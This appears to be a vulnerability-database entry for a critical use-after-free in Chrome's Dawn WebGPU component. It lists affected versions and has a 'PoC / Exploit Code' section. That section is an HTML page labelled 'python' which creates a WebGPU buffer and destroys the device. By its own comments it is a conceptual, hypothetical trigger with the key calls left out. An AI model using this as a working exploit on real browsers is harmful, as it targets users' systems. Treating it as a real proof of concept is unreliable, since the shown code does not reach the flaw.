Use after free in Dawn in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.216
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-9874 (Dawn UAF)
This is a conceptual trigger for the vulnerability.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-9874 PoC</title>
</head>
<body>
<script>
async function trigger_uaf() {
// Check if WebGPU is supported
if (!navigator.gpu) {
console.log("WebGPU not supported");
return;
}
const adapter = await navigator.gpu.requestAdapter();
const device = await adapter.requestDevice();
// Create a buffer to be potentially freed and reused
const bufferDescriptor = {
size: 1024,
usage: GPUBufferUsage.MAP_READ | GPUBufferUsage.COPY_DST,
};
const buffer = device.createBuffer(bufferDescriptor);
// Simulate the condition leading to UAF
// (Specific Dawn API calls omitted for safety)
console.log("Buffer created:", buffer);
// Attempt to trigger the race condition or invalid access
// This part is hypothetical to demonstrate the concept
try {
// Malicious sequence targeting Dawn's object lifecycle
device.destroy();
// Accessing buffer after device/context destruction might trigger UAF in vulnerable versions
console.log("Buffer state after destroy:", buffer);
} catch (e) {
console.error("Exception caught:", e);
}
}
trigger_uaf();
</script>
</body>
</html>